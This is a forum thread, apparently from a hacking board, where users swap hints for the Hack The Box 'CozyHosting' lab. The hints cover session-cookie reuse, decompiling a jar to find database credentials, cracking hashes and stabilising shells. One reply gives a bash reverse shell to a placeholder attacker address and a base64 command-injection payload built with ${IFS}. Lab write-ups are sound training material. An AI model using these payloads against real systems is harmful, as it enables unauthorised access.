HTB CozyHosting Help
by pokemon6969 - Sunday September 3, 2023 at 07:43 PM
#11
(Sep 04, 2023, 12:49 AM)hackxor Wrote:
(Sep 04, 2023, 12:49 AM)creativethinking2111 Wrote: Need help on getting user. I am currently in a shell as app. No clue what to do next. Thank you!

looks for postgresql

I have been doing just that. Was able to find kanderson creds that are useless but nothing else
#12
(Sep 04, 2023, 12:51 AM)creativethinking2111 Wrote:
(Sep 04, 2023, 12:49 AM)hackxor Wrote:
(Sep 04, 2023, 12:49 AM)creativethinking2111 Wrote: Need help on getting user. I am currently in a shell as app. No clue what to do next. Thank you!

looks for postgresql

I have been doing just that. Was able to find kanderson creds that are useless but nothing else

inside the app folder has a .jar file, you gotta reverse this file and get the creds for postgre
#13
(Sep 04, 2023, 12:54 AM)IXNovaticula Wrote:
(Sep 04, 2023, 12:52 AM)hackxor Wrote:
(Sep 04, 2023, 12:51 AM)creativethinking2111 Wrote:
(Sep 04, 2023, 12:49 AM)hackxor Wrote:
(Sep 04, 2023, 12:49 AM)creativethinking2111 Wrote: Need help on getting user. I am currently in a shell as app. No clue what to do next. Thank you!

looks for postgresql

I have been doing just that. Was able to find kanderson creds that are useless but nothing else

inside the app folder has a .jar file, you gotta reverse this file and get the creds for postgre

I'm stuck after getting the postgre creds. what do I do to get a proper shell? because the shell that I currently have is kinda broken and doesn't really give me proper outputs.

connect to postgre, get the user hashes after that you gotta crack the hashes and connect as josh
#14
(Sep 04, 2023, 12:52 AM)hackxor Wrote:
(Sep 04, 2023, 12:51 AM)creativethinking2111 Wrote:
(Sep 04, 2023, 12:49 AM)hackxor Wrote:
(Sep 04, 2023, 12:49 AM)creativethinking2111 Wrote: Need help on getting user. I am currently in a shell as app. No clue what to do next. Thank you!

looks for postgresql

I have been doing just that. Was able to find kanderson creds that are useless but nothing else

inside the app folder has a .jar file, you gotta reverse this file and get the creds for postgre

thank you
#15
(Sep 04, 2023, 12:35 AM)guacadmin Wrote:
(Sep 04, 2023, 12:00 AM)monkeythefirst Wrote: Hi everybody. I can not get /admin page; i got Cookie (JSESSIONID) of user kanderson, reloads some pages with it - no result. PLS any hint. Thanks advance.

you just need to edit your current cookie and refresh the webpage. (your cookie should now be the kanderson cookie that you found on that endpoint.)



I am currently in the admin panel how to get the shell. Port 22 is however open on my local machine
#16
IXNovaticula,

You can stabilize the shell: https://github.com/JohnHammond/poor-mans...e_shell.sh
or https://github.com/JohnHammond/poor-mans...h_shell.sh

after that, you decompile the jar and get the db creds, and connect to the db via the revshell you have.

You don´t need the db port external.
#17
(Sep 04, 2023, 01:35 AM)IXNovaticula Wrote:
(Sep 04, 2023, 12:56 AM)hackxor Wrote:
(Sep 04, 2023, 12:54 AM)IXNovaticula Wrote:
(Sep 04, 2023, 12:52 AM)hackxor Wrote:
(Sep 04, 2023, 12:51 AM)creativethinking2111 Wrote: I have been doing just that. Was able to find kanderson creds that are useless but nothing else

inside the app folder has a .jar file, you gotta reverse this file and get the creds for postgre

I'm stuck after getting the postgre creds. what do I do to get a proper shell? because the shell that I currently have is kinda broken and doesn't really give me proper outputs.

connect to postgre, get the user hashes after that you gotta crack the hashes and connect as josh

i did try to connect to postgre using my shitty shell but it didn't give me any output telling me that it's connected and from my nmap scan the port 5432 was also closed so can't tell how I'm gonna connect to that.

If I could find a way to get a good shell that gives me proper outputs for each of my commands then it would be a lot more helpful but rn it just feels like I have a blind RCE

after get the shell try to do this to make your shell a full tty
python3 -c "import pty;pty.spawn('/bin/bash')"
export XTERM=xterm
#18
(Sep 04, 2023, 01:50 AM)IXNovaticula Wrote:
(Sep 04, 2023, 01:45 AM)hackxor Wrote:
(Sep 04, 2023, 01:35 AM)IXNovaticula Wrote:
(Sep 04, 2023, 12:56 AM)hackxor Wrote:
(Sep 04, 2023, 12:54 AM)IXNovaticula Wrote: I'm stuck after getting the postgre creds. what do I do to get a proper shell? because the shell that I currently have is kinda broken and doesn't really give me proper outputs.

connect to postgre, get the user hashes after that you gotta crack the hashes and connect as josh

i did try to connect to postgre using my shitty shell but it didn't give me any output telling me that it's connected and from my nmap scan the port 5432 was also closed so can't tell how I'm gonna connect to that.

If I could find a way to get a good shell that gives me proper outputs for each of my commands then it would be a lot more helpful but rn it just feels like I have a blind RCE

after get the shell try to do this to make your shell a full tty
python3 -c "import pty;pty.spawn('/bin/bash')"
export XTERM=xterm

(Sep 04, 2023, 01:35 AM)IXNovaticula Wrote:
(Sep 04, 2023, 12:56 AM)hackxor Wrote:
(Sep 04, 2023, 12:54 AM)IXNovaticula Wrote: I'm stuck after getting the postgre creds. what do I do to get a proper shell? because the shell that I currently have is kinda broken and doesn't really give me proper outputs.

connect to postgre, get the user hashes after that you gotta crack the hashes and connect as josh

i did try to connect to postgre using my shitty shell but it didn't give me any output telling me that it's connected and from my nmap scan the port 5432 was also closed so can't tell how I'm gonna connect to that.

If I could find a way to get a good shell that gives me proper outputs for each of my commands then it would be a lot more helpful but rn it just feels like I have a blind RCE

try to do this to make your shell a full tty, maybe that could be the problem with your shell
python3 -c "import pty;pty.spawn('/bin/bash')"
export TERM=xterm
that was the first thing I tried after getting the shell... to spawn a pty but it didn't work

How are you getting the revshell?

Which command are you using?
You can simplify this, you don't need anything too elaborate.

then generate a base64 from the command "/bin/bash -i >& /dev/tcp/X.X.X.X/4444 0>&1"

And send this on the post
;$(echo${IFS}<BASE64>${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}/bin/bash${IFS})
#19
(Sep 04, 2023, 01:40 AM)itsnotme Wrote: IXNovaticula,

You can stabilize the shell: https://github.com/JohnHammond/poor-mans...e_shell.sh
or https://github.com/JohnHammond/poor-mans...h_shell.sh

after that, you decompile the jar and get the db creds, and connect to the db via the revshell you have.

You don´t need the db port external.

Thanks dear..
#20
(Sep 04, 2023, 12:52 AM)hackxor Wrote:
(Sep 04, 2023, 12:51 AM)creativethinking2111 Wrote:
(Sep 04, 2023, 12:49 AM)hackxor Wrote:
(Sep 04, 2023, 12:49 AM)creativethinking2111 Wrote: Need help on getting user. I am currently in a shell as app. No clue what to do next. Thank you!

looks for postgresql

I have been doing just that. Was able to find kanderson creds that are useless but nothing else

inside the app folder has a .jar file, you gotta reverse this file and get the creds for postgre

How do i extract or decompile the jar file?


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] CPTS 12 FLAGS pulsebreaker 66 1,772 2 hours ago
Last Post: vlka
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 370 92,495 7 hours ago
Last Post: lifolifo007
  Hack the box Pro Labs, VIP, VIP+ 1 month free Method RedBlock 23 2,207 10 hours ago
Last Post: kkkato
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 20 2,521 Apr 29, 2026, 11:06 PM
Last Post: op334
Heart [FREE] HackTheBox All Cheatsheets Tamarisk 3 414 Apr 29, 2026, 10:36 PM
Last Post: op334

Forum Jump:


 Users browsing this forum: 1 Guest(s)